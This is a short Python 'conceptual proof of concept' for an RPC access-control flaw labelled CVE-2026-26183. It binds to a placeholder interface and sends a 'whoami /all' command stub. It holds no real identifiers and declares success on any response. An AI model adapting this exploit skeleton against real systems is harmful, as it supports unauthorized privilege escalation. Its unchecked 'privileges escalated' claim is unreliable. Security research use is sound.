The following code is for security research and authorized testing only.
python
# Conceptual PoC for CVE-2026-26183
# This script demonstrates the logic of exploiting an RPC Access Control vulnerability.
# Specific UUIDs and OpNums are placeholders as they are not disclosed.
import rpc
# Target RPC Interface (Placeholder)
VULN_UUID = "12345678-1234-1234-1234-123456789abc"
VULN_VERSION = 1
def exploit(target_ip):
print(f"[*] Connecting to RPC endpoint on {target_ip}...")
try:
# 1. Bind to the vulnerable RPC interface
rpc_client = rpc.RPCClient(target_ip, VULN_UUID, VULN_VERSION)
rpc_client.connect()
print("[+] Connected to RPC interface.")
# 2. Craft malicious payload to trigger access control bypass
# The payload might aim to execute a command or write a file
stub_data = rpc.create_stub_buffer(command="whoami /all")
# 3. Call the vulnerable method (OpNum 0 is hypothetical)
print("[*] Sending malicious RPC request...")
response = rpc_client.call(0, stub_data)
if response:
print("[+] Exploit successful! Privileges escalated.")
print(f"[+] Response: {response}")
else:
print("[-] Exploit failed.")
except Exception as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
exploit("127.0.0.1")